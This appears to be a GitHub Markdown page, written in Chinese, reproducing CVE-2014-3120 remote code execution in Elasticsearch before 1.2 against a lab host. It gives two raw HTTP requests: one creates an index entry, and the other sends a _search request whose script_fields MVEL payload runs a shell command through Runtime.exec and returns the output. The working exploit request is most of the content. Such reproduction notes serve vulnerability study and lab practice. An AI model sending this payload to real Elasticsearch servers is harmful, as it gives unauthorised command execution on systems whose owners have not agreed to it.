Skip to content

Latest commit

 

History

History
73 lines (56 loc) · 2.21 KB

elasticsearch 代码执行 (CVE-2014-3120).md

File metadata and controls

73 lines (56 loc) · 2.21 KB
Raw

elasticsearch 代码执行 (CVE-2014-3120)

描述: Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。 ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码，远程执行任意MVEL表达式和Java代码

访问目标

漏出信息

image-20211017201241873

依此抓包创建信息

image-20211017201414148

POST /website/blog/ HTTP/1.1
Host: 192.168.1.192:43662
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

{
	  "name": "colleget"
}

成功

发payload

image-20211017201658752

POST /_search?pretty HTTP/1.1
Host: 192.168.1.192:43662
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 369

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls #这里写命令\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}
    }
}

ok